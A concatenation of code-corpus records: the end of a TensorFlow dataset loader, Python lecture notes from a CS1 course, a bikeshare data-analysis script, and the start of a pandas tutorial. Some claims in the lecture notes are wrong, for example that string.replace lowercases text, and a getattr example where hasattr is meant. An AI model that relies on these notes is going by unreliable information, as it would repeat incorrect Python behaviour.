self.word_to_id[PAD] = IPAD\n\n\n  def _file_to_word_ids(self, filename):\n    d = []\n    w2id = self.word_to_id\n    with tf.gfile.GFile(filename, \"r\") as f:\n      for line in f:\n        ids = [w2id[w] for w in line.replace(\"\\n\",\" %s \" % EOS).split() if w in w2id]\n        d += ids\n\n    return d\n \n  def train_data(self):\n    return self.train.data\n\n  @property\n  def valid_data(self):\n    return self.valid.data \n\n  @property\n  def test_data(self):\n    return self.test.data\n", "meta": {"hexsha": "b4a8d2233abf128af332cb66f3f594d360a8c82d", "size": 8144, "ext": "py", "lang": "Python", "max_stars_repo_path": "dataset.py", "max_stars_repo_name": "OhadRubin/laughing-carnival", "max_stars_repo_head_hexsha": "172bfd3b009254cc6e55ec24ca99ec7b45593bfa", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 20, "max_stars_repo_stars_event_min_datetime": "2017-02-06T06:01:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-06T02:04:51.000Z", "max_issues_repo_path": "dataset.py", "max_issues_repo_name": "OhadRubin/laughing-carnival", "max_issues_repo_head_hexsha": "172bfd3b009254cc6e55ec24ca99ec7b45593bfa", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 4, "max_issues_repo_issues_event_min_datetime": "2017-02-09T02:40:44.000Z", "max_issues_repo_issues_event_max_datetime": "2019-03-04T09:13:43.000Z", "max_forks_repo_path": "dataset.py", "max_forks_repo_name": "OhadRubin/laughing-carnival", "max_forks_repo_head_hexsha": "172bfd3b009254cc6e55ec24ca99ec7b45593bfa", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 18, "max_forks_repo_forks_event_min_datetime": "2017-01-06T10:56:34.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-16T14:34:18.000Z", "avg_line_length": 26.7894736842, "max_line_length": 128, "alphanum_fraction": 0.6256139489, "include": true, "reason": "import numpy", "num_tokens": 2254, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4843800842769844, "lm_q2_score": 0.13846177812603538, "lm_q1q2_score": 0.06706812775783014}}
{"text": "####################################\n# author: Gonzalo Salazar\n# purpose: lecture notes\n# course: Computer Science 1 at Boston College\n# other: N/A\n####################################\n\n# MODULES OR LIBRARIES\nimport random\n\n# Interger division\n7//3\n\n# Print many values\nx = 1\ny = 6\nv = 4\nprint(x, y, v)\n\nphr1 = 'love you'\nphr2 = 'I'\nprint(phr1, phr2)\nprint(phr1, phr2, end = \" \")\n\n# Assigning two variables\nc, b = 2, 3\nc\nb\nc, b\n\n# Random library\nrandom.randint(1, 6)\n\n# FUNCTIONS\n# Parenthesis are mandatory\ndef function_name():\n    print('Hey!')\n    return print('Python will finish the function here, anything after will not be ran')\n    print('NOOOO!')\n\n# when None appears it means that we forgot to use return in a function\n\ndef even_odd(number):\n    if number%2==0:\n        return 'Even'\n    else:\n        return 'Odd'\n\n# SLEEP\nfrom time import sleep, time  # any library should be loaded at the beginning of the script\n\nsleep(1)  # it suspends the execution of the script for the specified # of seconds (e.g., 1)\n\nh = 2\nm = 1\ns = 30\n\nprint(\"%1d% 02d:%02d\" % (h,m,s))\nprint(\"%1d:%02d:%02d\" % (h,m,s))\nprint(\"%3d:%02d:%02d\" % (h,m,s))\nprint(\"%02d:%02d:%02d\" % (h,m,s))\n\n# % recognizes that we want to change the format of the variable\n# %s - String (or any object with a string representation, like numbers)\n# %d - Integers\n# %f - Floating point numbers\n# %.<number of digits>f - Floating point numbers with a fixed amount of digits to the right of the dot.\n# %x/%X - Integers in hex representation (lowercase/uppercase)\n\n# WHILE\n# when using \"continue\", it jumps to the next iteration of the while, no matter what follows after the \"continue\"\n# it skips the next lines and star from the beginning of the next iteration\n\n# LISTS\n# Shallow copy: is a pointer or a reference, so if I change the value of the reference\n# it will change where it is used\n\nmy_list = [2,3,4,5,6,7]\nprint(my_list)\n\nl2 = my_list  #shallow copy\nprint(l2)\n\nl2[0] == \"anna\"\nprint(my_list, l2)\n\n# Deep copy: creates a new space in memory for a list already existing, so it will\n# not have a shallow copy's problem\n\n    # one way\nmy_list_copy = [] #creates a new space in memory\nfor item in my_list:\n    my_list_copy.append(item)\n\nprint(my_list, my_list_copy)\nmy_list_copy[2] = \"gonzalo\"\nprint(my_list, my_list_copy)\n\n    # another way\nl3 = my_list.copy()\nl3[1] = 'the best'\nprint(l3, my_list)\n\n# STRINGS\n# split(\",\"), separates by the comma\n# split(), separates by space\n# string.strip(), gets rid of the specified character at the beginning or at the end.\n#   It only work on strings, it does not work if it is applied to a list.\n#   In that case a for should be used to go through each word.\n# string.replace(old,new), returns a copy of the original string with all the\n#   letters in lower case, it does not modify the original string\n# find(x), delivers the value of the index that the substring occupies equal to\n#   x within the string\n# find(x,start), gives the value of the index that occupies the substring equal\n#   to x within the string, looking from the start position onwards\n\n# deep copy - due to slicing/sub list\nmy_list = [111,222,333,444,555]\nmy_list_copy = my_list[:]  #slicing  #only works for a list with single elements\n                           #inside. For list of lists it will be a shallow copy.\n                           #In that case, we should use deepcopy from copy module\n\nmy_list_copy.remove(111)\n\nprint('after remove')\nprint(my_list)\nprint(my_list_copy)\n\n# shallow copy - due to slicing/sub list\nmy_list = [111,222,333,444,555]\nmy_list_copy = my_list  # passing by reference\n\nmy_list_copy.remove(111)\n\nprint('after remove')\nprint(my_list)\nprint(my_list_copy)\n\n# slicing\nmy_list = [111,222,333,444,555]\n#           0   1   2   3   4\n#          -5  -4  -3  -2  -1\n\n# example where to start we should count from the right and to end, we should\n# start from the left\nmy_list[-2:4]\nmy_list[0:1]  # last item is never included\n\n# GENERATORS\n#range(j): generates a list with values from 0 to j-1\n#range(i,j): generates a list with values from i to j-1\n#range(i,j,k): generates a list with values from i to j-1, and k is the step\n\n# There is a problem with range(j): it has to generate a list with j values, for\n# example if we are using it with a for, since Python has to know where are we as\n# well as how many elements rest to cycle through. If the list is huge, this\n# will be costly in terms of memory. Instead there is a solution provided by\n# the xrange() function, which allows us to create the elements at the time they\n# are used and thus saves memory.\n\n# NUMPY (basically MATLAB in Python)\nfrom numpy import *\n\n## ARRAYS\n# meant to manipulate vectors of data (numbers)\nmy_list = [323.42,643.43,656.4,47.546]\nmy_array = array(my_list)\nprint(my_list)\nprint(my_array)\nprint(3 * my_array + my_array ** 2)\nmy_array[3]\n\ny = list(range(1,10))\ny2 = arange(1,10)\nprint(y2)\na = zeros(4)\nb = ones(10)\nprint(a, b)\nlinspace(1,10,10)\n\n## SUBARRAYS (array slicing)\n# We also have the issue of shallow copies here. To solve that we use copy()\na = matrix([[1,2,3],[4,5,6],[7,8,9]])\nd = copy(a[2:,2:]) # deep copy\nprint(\"d: \", d)\n\nc = copy(a[2:,2:])\nc[-1] = 999\nprint(\"c: \", c)\nprint(\"a: \", a)\n\n## MATRICES\na = zeros((4,3))\nprint(\"a: \", a)\nmy_matrix =  matrix([[1,2,3],[4,5,6],[7,8,9]])\nprint(my_matrix*2)\nprint(my_matrix+2)\nsize(my_matrix)  # number of values inside the matrix m times n\nmy_matrix.shape  # size of the matrix (m x n)\nmy_matrix.shape[0] # number of rows\nmy_matrix.shape[1] # number of columns\nidentity = eye(4)\nprint(identity)\nmy_diag = diag([1,2,3,4,5])\nprint(my_diag)\nmy_bool_mat = matrix([[True,True,False],[False, True, True]])\nprint(my_bool_mat)\n\n## SYSTEM OF EQUATIONS\n# e.g., solving the following system is easy (Ax=b)\n# x -2y = -2\n# 3x-2y =  2\n\nprint('x = ')\nA = matrix([[1,-2],[3,-2]])\nb = matrix([[-2],[2]])\nx = linalg.solve(A,b)\nprint(x)\n\n#transposing a matrix\nprint(\"x : \", x)\nprint(\"x transposed: \",x.T)\n\n# MATPLOTLIB (2D graph library)\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n## Step 1 - Creating a figure\nplt.figure()\n\n## Step 2 - Loading data and creating the plot\nx = np.array([4,6,3,10,7])\nplt.plot(x)\n\n## Step 2 - Showing the graph (make sure I run all the steps at the same time)\nplt.show()\n\n# another figure\ny = np.array(np.arange(len(x)))\nplt.figure()\nplt.plot(x,y)\nplt.title('My Graph')\nplt.xlabel('x-axis')\nplt.ylabel('y-axis')\nplt.show()\n\n# another figure (smooth cosine)\nx = np.linspace(0,10,1000)\ny = np.cos(x)\nplt.figure()\nplt.plot(x,y)\nplt.title('My Cosine')\nplt.xlabel('x-axis')\nplt.ylabel('y-axis')\nplt.show()\n\n# plt.clf() clear the windo\n# plt.subplots()  graphs inside a graph\n# plt.axis()\n# plt.ylim() sets limits to y-axis\n\n## bar graphs\nplt.figure()\nx = [1,2,3,4,5]\ny = [4,5,10,15,5]\nplt.bar(x,y)\nplt.title('My bars')\nplt.xlabel('x-axis')\nplt.ylabel('y-axis')\nplt.show()\n\n## histograms\nplt.figure()\nx = [1,2,3,4,5,5,4,5,4,3,1,4]\nplt.hist(x)\nplt.title('My histogram')\nplt.xlabel('x-axis')\nplt.ylabel('frequencies')\nplt.show()\n\n## two lines in the same graph\nplt.figure()\nx = np.arange(-2*np.pi,2*np.pi,0.1)\nplt.plot(x,np.sin(x),label = 'graph1')\nplt.plot(x,np.cos(x),label = 'graph2')\n\nplt.legend()\nplt.show()\n\n## subfigures\nnrows = 2\nncols = 1\nplt.subplot(nrows,ncols,1)  # 1 is the index\nplt.plot((np.array([4,6,3,10,7])))\nplt.subplot(nrows,ncols,2)  # 2 is the index\nplt.plot((np.random.uniform(10,15,20)))\nplt.show()\n\n## pie chart\na = np.random.uniform(1,10,7)\nL = ['b1','b2','b3','b4','b5','b6','b7']\nplt.pie(a, labels = L)\nplt.title('A pie chart example')\nplt.show()\n\n## SORTING\n# The are algorithms and they have three main reasons to be studied:\n#   First, sorting algorithms illustrate many creative approaches to problem\n#   solving and these approaches can be applied to solve other problems.\n#   Second, sorting algorithms are good for practicing fundamental programming\n#   techniques using selection statemens, loops, methods, and arraus.\n#   Third, sorting algorithms are excellent examples to demonstrate algorithm\n#   performance.\n# The data to be sorted should be intergers, floats., words or anything,\n# but we must stick to one type in order to sort\n# For simplicity we may assume:\n#   data to be sorted are intergers\n#   data are sorted in ascending order\n#   data are stored in a list or a numpy array\n\n### Insertion Sort: it sorts a list of values by repeatedly inserting an unsorted\n#                   list into a sorted sublist until the whole list is sorted.\n# [2,9,5,4,8,1,6]  // Unsorted\n# Pick 2 and create a new sorted list, then evaluate if 9 is bigger or smaller\n# than 2, if the first case, then it goes to the right and we continue picking 5.\n# Otherwise, do the opposite. As the list starts increasing, the number is evaluated\n# against each value until it finds its position in the sorted list.\n\n# Nice website to visualize algorithms\n# www.visualgo.net\n\n### Bubble Sort: similar to insertion sort, but now we compare two numbers each time\n# [2,9,5,4,8,1,6]  // Unsorted\n# Pick up 2,9, are these sorted? yes!, so left them as they were.\n# Now compare 9 and 5, are they sorted? No, so switch and the result is  [2,5,9,4,8,1,6]\n# Then continue with 9 and 4 and so on.\n# We will end up with a new unsorted list, so the process is repeated with this\n# new list until we get a new list. The process of traversing the list till its\n# end is call a Pass (like an iteration).\n\n### Quick Sort: it selects an element, called the pivot, in the array. Then it\n# divides the array into two parts such that all the elements in the first part\n# are less than or equal to the pivot and all the elements in the second part are\n# greater than the pivot. Finally, it recursively apply the quick sort algorithm\n# to the first part and then the second part. # The pivot should always start being\n# the first item on the array.\n\n### Merge Sort: similar to the idea used behind the quicksort (recursion). We start\n# spliting a list in two different lists of the same size (in case of odd number of\n# elements, the list is divided in one containing an even number of elements and\n# another containing an odd number of elements). We repeat this with each new list,\n# subsequently until we get lists containing just two elements.\n# Then, in a second step, we switch the elements belonging to a list that is unsorted.\n# After that, we start merging two lists together by comparing their intial elements\n# first (to get the first value of the new list). Then we compare the first element\n# of the second list with the second element of the first list, in order to now which \n# one goes second, and finally we compare the remaining two elements. We repeat this\n# process with each two pair of lists, and also with those new lists until we get\n# a unique final list.\n# [2,9,5,4,8,1,6,7]  // Unsorted\n# Merge sort in practice:\n# dividing part: [2,9,5,4] and [8,1,6,7] -> [2,9]  [5,4]  [8,1]  [6,7]\n# switching part: [2,9]  [4,5]  [1,8]  [6,7]\n# merge part: [2,9] - [4,5] -> 2>4 -> [2] -> 4<9 -> [2,4] -> 9>5 -> [2,4,5,9]\n#   and [1,8] - [6,7] -> 1<6 -> [1] -> 8>6 -> [1,6] -> 8>7 -> [1,6,7,8]\n#   now [2,4,5,9] - [1,6,7,8] -> 2>1 -> [1] -> 2<6 -> [1,2] -> 4<6 -> [1,2,4]\n#   -> 5<6 -> [1,2,4,5] -> 9>6 -> [1,2,4,5,6] -> 9>7 -> [1,2,4,5,6,7] -> 9>8\n#   -> [1,2,4,5,6,7,8,9]\n\n### Bucket Sort: it assumes the keys are in the range from 0 to N-1. We need N buckets\n# labeled 0,1,...,N-1. If an element's key is i, the element is put into the bucket i.\n# Each bucket holds the elements with the same key value. An ArrayList can be used to \n# implement a bucket. If a bucket already has elements inside, a new element should be\n# be compared with those inside to know its corresponding order. We could decide between\n# ascending or descending order. (Let's assume ascending order) At the end, all the \n# elements from a bucket are extracted (in order) to construct a unique sorted list.\n# Bucket sort in practice:\n#[34,36,19,27,22,10,7] // Unsorted\n# First item: 34\n# bucket 1 - 0-9:   [  ]   \n# bucket 2 - 10-19: [  ] \n# bucket 3 - 20-29: [  ] \n# bucket 4 - 30-39: [34]\n# Second item: 36, 34<36\n# bucket 1 - 0-9:   [  ]   \n# bucket 2 - 10-19: [  ] \n# bucket 3 - 20-29: [  ] \n# bucket 4 - 30-39: [34,36]  \n# ...\n# Fifth item: 22, 22<27\n# bucket 1 - 0-9:   [  ]   \n# bucket 2 - 10-19: [19] \n# bucket 3 - 20-29: [22,27] \n# bucket 4 - 30-39: [34,36]  \n# ..\n# Last item: 7\n# bucket 1 - 0-9:   [7]   \n# bucket 2 - 10-19: [10,19] \n# bucket 3 - 20-29: [22,27] \n# bucket 4 - 30-39: [34,36]  \n# Finally: [b1,b2,b3,b4] -> [7,10,19,22,27,34,36]\n\n### Radix Sort: it uses a similar approach to bucket sorting, but this time it sorts\n# elements by its decimal, units, tens, hundreds, etc., from lower to bigger figures.\n# Note that it does not require to sort elements inside each bucket.\n#[331,454,230,34,343,45,59,453,345,231,9] // Unsorted\n# first iteration (by units):\n# bucket 0: [230]   \n# bucket 1: [231,331] \n# bucket 2: [] \n# bucket 3: [343,453]  \n# bucket 4: [34,454]\n# bucket 5: [45,345] \n# bucket 6: [] \n# bucket 7: [] \n# bucket 8: []  \n# bucket 9: [9,59]\n# \n#[230,231,331,453,343,34,454,45,345,9,59] // Unsorted\n# second iteration (by tens):\n# bucket 0: [9]   \n# bucket 1: [] \n# bucket 2: [] \n# bucket 3: [230,231,331,34]  \n# bucket 4: [343,45,345]\n# bucket 5: [453,454,59] \n# bucket 6: [] \n# bucket 7: [] \n# bucket 8: []  \n# bucket 9: []\n# \n#[9,230,231,331,34,345,45,345,453,454,59] // Unsorted\n# third iteration (by hundreds):\n# bucket 0: [9,34,45,59]   \n# bucket 1: [] \n# bucket 2: [230,231] \n# bucket 3: [331,345,345]  \n# bucket 4: [453,454]\n# bucket 5: [] \n# bucket 6: [] \n# bucket 7: [] \n# bucket 8: []  \n# bucket 9: []\n# \n#[9,34,45,59,230,231,331,345,345,453,454] // Sorted\n\n# OBJECT-ORIENTED PROGRAMMING\n# Problem when accesing unknown members. Ocassionally,\n# the name of an attribute or method of a class is only\n# given at run time so the way to recover them is by \n# using getattr(object_instance, string), where string\n# is a string which contains the name of an attribute \n# or method of a class.\n\n# f = student('Bob Smith', 23)\n# getattr(f,'full name') -> 'Bob Smith'\n# getattr(f,'get_age') -> <method get_age of class studentClass at 010B3C2>\n# getattr(f,'get_age')() -> 23\n# getattr(f,'get_birthday') -> AttributeError - No method!\n\n# Regarding AttibuteErrors, we can check whether an object \n# instance has or not attributes using \n# hasattr(object_instance,string)\n# f = student('Bob Smith', 23)\n# hasattr(f,'full name') -> True\n# getattr(f,'get_age') -> True\n# getattr(f,'get_birthday')() -> False", "meta": {"hexsha": "e7263fde209219e206c05fdef71fc299ed87d65a", "size": 14477, "ext": "py", "lang": "Python", "max_stars_repo_path": "CS1_BostonCollege/CS1_lnotes.py", "max_stars_repo_name": "gonzalosc2/LearningPython", "max_stars_repo_head_hexsha": "0210d4cbbb5e154f12007b8e8f825fd3d0022be0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "CS1_BostonCollege/CS1_lnotes.py", "max_issues_repo_name": "gonzalosc2/LearningPython", "max_issues_repo_head_hexsha": "0210d4cbbb5e154f12007b8e8f825fd3d0022be0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "CS1_BostonCollege/CS1_lnotes.py", "max_forks_repo_name": "gonzalosc2/LearningPython", "max_forks_repo_head_hexsha": "0210d4cbbb5e154f12007b8e8f825fd3d0022be0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.0, "max_line_length": 113, "alphanum_fraction": 0.6706499965, "include": true, "reason": "import numpy,from numpy", "num_tokens": 4585, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40733338565660016, "lm_q2_score": 0.16451646699291614, "lm_q1q2_score": 0.06701304949648684}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\ncities=('chicago','new york city','washington')\nmonths=('january','february','march','april','may','june', 'all')\ndays=('sunday','monday','tuesday','wednesday','thursday','friday','saturday','all')\ndef get_filters():\n   \n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n    while True:\n        city=input('Enter a city from those cities (Chicago,New York City,Washington) \\n').lower()\n        if city not in cities: #check if the input is valid\n            print('This input is invalid please enter a valid one')\n            continue\n        else:\n            break\n        \n\n    # get user input for month (all, january, february, ... , june)\n    while True:\n        month=input('Enter a month from January to June or type all to view all months \\n').lower()\n        if month not in months: #check if the input is valid\n            print('This input is invalid please enter a valid one')\n            continue\n        else:\n            break\n\n    #get user input for day of week (all, monday, tuesday, ... sunday)\n    while True:\n        day=input('Enter a day from Monday to Sunday or type all to view all weeks \\n').lower()\n        if day not in days: #check if the input is valid\n            print('This input is invalid please enter a valid one')\n            continue\n        else:\n            break\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    #we will load the data into a dataframe\n    df=pd.read_csv(CITY_DATA[city])\n    #to convert the start time column to datetime\n    df['Start Time']=pd.to_datetime(df['Start Time'])\n    #extract month from Start Time in order to make new column\n    df['month']=df['Start Time'].dt.month\n    #extract day_of_week from Start Time in order to make new column\n    df['day_of_week']=df['Start Time'].dt.weekday_name\n    \n    if month != 'all':\n        The_months=['january','february','march','april','may', 'june']\n        month=The_months.index(month) + 1\n        df=df[df['month']==month]\n\n    if day != 'all':\n        df=df[df['day_of_week']==day.title()]\n        \n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # display the most common month\n    popular_month =df['month'].mode()[0]\n    print('The most common  month is : ', popular_month)\n\n    # display the most common day of week\n    popular_day =df['day_of_week'].mode()[0]\n    print('The most common  day is : ',popular_day)\n\n\n    #display the most common start hour\n    df['hour']=df['Start Time'].dt.hour\n    popular_hour =df['hour'].mode()[0]\n    print('The most common hour of day is : ',popular_hour)\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    # display most commonly used start station\n    popular_start_station =df['Start Station'].mode()[0]\n    print('The popular start station is : ', popular_start_station)\n\n\n    # display most commonly used end station\n    popular_end_station =df['End Station'].mode()[0]\n    print('The popular end station is : ',popular_end_station )\n\n    # display most frequent combination of start station and end station trip\n    popular_start_end_station=(df['Start Station'] + ' and ' + df['End Station']).mode()[0]\n    print('The popular start and end station is : ',popular_start_end_station )\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # display total travel time\n    total_travel_time=sum(df['Trip Duration'])\n    print('Total travel time is :',total_travel_time)\n\n\n    # display mean travel time\n    mean_travel_time=df['Trip Duration'].mean()\n    print('Mean travel time is :',mean_travel_time)\n\n\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # Display counts of user types\n    print('The Counts of user types is :',df['User Type'].value_counts())\n\n\n    #  Display counts of gender\n    try:\n        print('The Counts of Gender is :',df['Gender'].value_counts())\n    except:\n        print('there is no data for Gender in this city')\n\n    # Display earliest, most recent, and most common year of birth\n    try:\n        The_earlist_year=df['Birth Year'].min()\n        print('The Earlist Year is : ', The_earlist_year)\n        The_most_recent_year=df['Birth Year'].max()\n        print('The Most Recent Year is : ',The_most_recent_year)\n        The_most_common_year=df['Birth Year'].mode()[0]\n        print('The Most Common  Year is : ',The_most_common_year)\n    except:\n        print('there is no data for birth year in this city')\n    \n\n\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef raw_data_display(df): #display row data to user if he want\n    ans=input('do you want to display 5 rows from the data? (yes/no) \\n').lower()\n    k=0\n    while True :\n        if ans == 'no':\n            break\n        if ans == 'yes':\n            print(df[k:k+5])    #to print a slice containing 5 rows from the data frame\n            ans=input('do you want to display another 5 rows ? (yes/no) \\n').lower()    \n            k+=5\n    \n\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n        raw_data_display(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "2b77f77cd1faede83a8e40cc43906f6f865eefca", "size": 7135, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "mohamedabdelmohsen254/Udacity-Explore-US-Bikeshare-Data", "max_stars_repo_head_hexsha": "362da765b90dddae9b35c8cf342c222f2e70b720", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "mohamedabdelmohsen254/Udacity-Explore-US-Bikeshare-Data", "max_issues_repo_head_hexsha": "362da765b90dddae9b35c8cf342c222f2e70b720", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "mohamedabdelmohsen254/Udacity-Explore-US-Bikeshare-Data", "max_forks_repo_head_hexsha": "362da765b90dddae9b35c8cf342c222f2e70b720", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.1396396396, "max_line_length": 115, "alphanum_fraction": 0.6278906797, "include": true, "reason": "import numpy", "num_tokens": 1760, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.14033624949008322, "lm_q1q2_score": 0.06688140081356883}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#------------------------------------------------------------------------------\n__author__ = 'James T. Dietrich'\n__contact__ = 'james.t.dietrich@dartmouth.edu'\n__copyright__ = '(c) James Dietrich 2016'\n__license__ = 'MIT'\n__date__ = 'Wed Nov 16 11:33:39 2016'\n__version__ = '1.0'\n__status__ = \"initial release\"\n__url__ = \"https://github.com/geojames/...\"\n\n\"\"\"\nName:           Week6-1_Pandas.py\nCompatibility:  Python 3.5\nDescription:    This program does stuff\n\nURL:            https://github.com/geojames/...\n\nRequires:       libraries\n\nDev ToDo:\n\nAUTHOR:         James T. Dietrich\nORGANIZATION:   Dartmouth College\nContact:        james.t.dietrich@dartmouth.edu\nCopyright:      (c) James Dietrich 2016\n\n\"\"\"\n#------------------------------------------------------------------------------\n\n# Pandas provides a set of labeled array data structures\n# Similar to what you're used to in Excel\n#   + 1-D \"Series\"\n#   + 2-D \"Data Frames\"\n\n\n# Import Pandas\nimport pandas as pd\n\n# You also need Numpy\nimport numpy as np\n\n# and Matplotlib, if you want to plot data\nimport matplotlib.pyplot as plt\n\n#%% Creating Pandas data\n\n# chances are you'll be importing data into Pandas with read_csv, which we'll\n#   get to...but you'll also need to create Pandas data from scratch too\n\n# Pandas uses two data structures:\n#   Series = 1-D data (single column)\n#   Data Frame = 2-D data (multiple columns)\n\n# Terms:\n#   + Column = actual data\n#   + Index Column =  first column, defaults to numbers, but also you can \n#           also name rows in the index column or use dates as the index column\n#           * Yes, it is confusing, since data frames still have indecies like\n#             arrays...\n#\n# The general structure of a data frame is:\n#\n# Index\tCOL1\tCOL2\tCOL3\t...\n# 1\t\tdata\tdata\tdata\n# 2\t\tdata\tdata\tdata\n# 3\t\tdata\tdata\tdata\n# 4\t\tdata\tdata\tdata\n# ...\n\n# of for real data would look something like this:\n    \n# Index\ttemp   pres\twind    wind_dir\t...\n# 1\t\t26.2   1012.3\t0\t\tnan\n# 2\t\t27.0   1011.1\t5\t\t\"w\"\t\n# 3\t\t27.8   1011.5\t8\t\t\"nw\"\n# 4\t\t24.3   1011.3\t5\t\t\"w\"\t\n# ...\n\n# 1-D series data are easy...\ns = pd.Series([1,3,5,np.nan,6,8])\n\n# 2-D data can be created in a couple different ways\n\n# 1: typing in matrix vaules\ndf = pd.DataFrame([[1,2,3,4,5], [6,7,8,9,10]],columns=['A','B','C','D','E'])\n\n# 2: from an exisitng Numpy Array\narray = np.array([[1,2,3,4,5], [6,7,8,9,10]])\ndf2 = pd.DataFrame(array)\n\n# 3: numpy array with column names\narray = np.arange(1.,17.).reshape((4,4))\ndf3 = pd.DataFrame(array, columns=['A','B','C','D'])\n\n# adding columns\n# df['new column name'] = data to add...\n\ncolors = pd.Series(['blue','green','red','yellow'])\n\ndf3['color'] = colors\n   \n# directly...\ndf3['food'] = np.array(['fish','lettcue','apple','banana'])\n\n#%% Accessing index and column name lists\n\ndf.index\ndf.columns\ndf.values\ndf.dtypes\ndf.describe()\n\n#%% Accessng/adding/deleting column data\n\n# access the column by name: string OR by dot notation\n\ndf3['A']\n\ndf3.A\n\n# adding data\n \ndf3['color'] = pd.Series(['blue','green','red','yellow'])\n\ndf3['random'] = np.random.rand(4,1)\n\n# new columns by math\n\ndf3['AxRand'] = df3.A * df3.random\n\n# boolean tests as columns\n\ndf3['Blue_TF'] = df3.color == 'blue'\n\n# adding one value to all rows (propogated value)\n\ndf3['ones'] = 'one'\n\n# deleting columns\n\ndel df3['random']\n\n# extracting values and deleting (pop out)\nrand_vals = df3.pop('AxRand')\n\n\n# Inserting new columns\n#   insert(position, col_name, values)\n\ndf3.insert(0,'AxR',rand_vals)\n\n#%% Date ranges\n\n# often your data will need dates. Pandas has some nifty short cuts for adding\n# dates to your data frames\n\n# Start and end dates with frequency\n#   pd.date_range(start, end, freq = 'D')\n\npd.date_range('1/1/2016','12/31/2018')\n\n\n# Start, frequency and number or periods\n#   pd.date_range(start, periods=10, freq='D')\n\n# Frequency Codes\n#   'A' = year end - 'AS' = year start\n#   'M' = month end - 'MS' = month start\n#   'W' = week\n#   'D' = days, default\n#   'H' = hours\n#   'min' = minutes\n#   's' = seconds\n#\n#   '5H' = 5 hours, '30s' = 30 seconds, '7D' = 7 days\n\npd.date_range('1/1/2016',periods=10, freq='D')\n\npd.date_range('1/1/2016',periods=10, freq='min')\n\n# adding time (24-hour format)\n\npd.date_range('1/1/2016 07:30:00',periods=10, freq='30d')\n\n#%% Data Frame Indexing\n\ndates = pd.date_range('1/1/2016', periods=8)\n\ndf = pd.DataFrame(np.random.randn(8, 4), index=dates, columns=['A', 'B', 'C', 'D'])\n\n# Getting Columns\ndf.A\ndf['B']\n\n# Rows, all columns\n# by classic index\ndf[0:4]\n\n# by named index range\ndf['2016-01-02':'2016-01-04']\n\n# using the location (loc) function\n#   dates index, row 0\ndf.loc[dates[0]]\n\n#   row and column\ndf.loc[2:4,['A','B']]\n\n#   index and 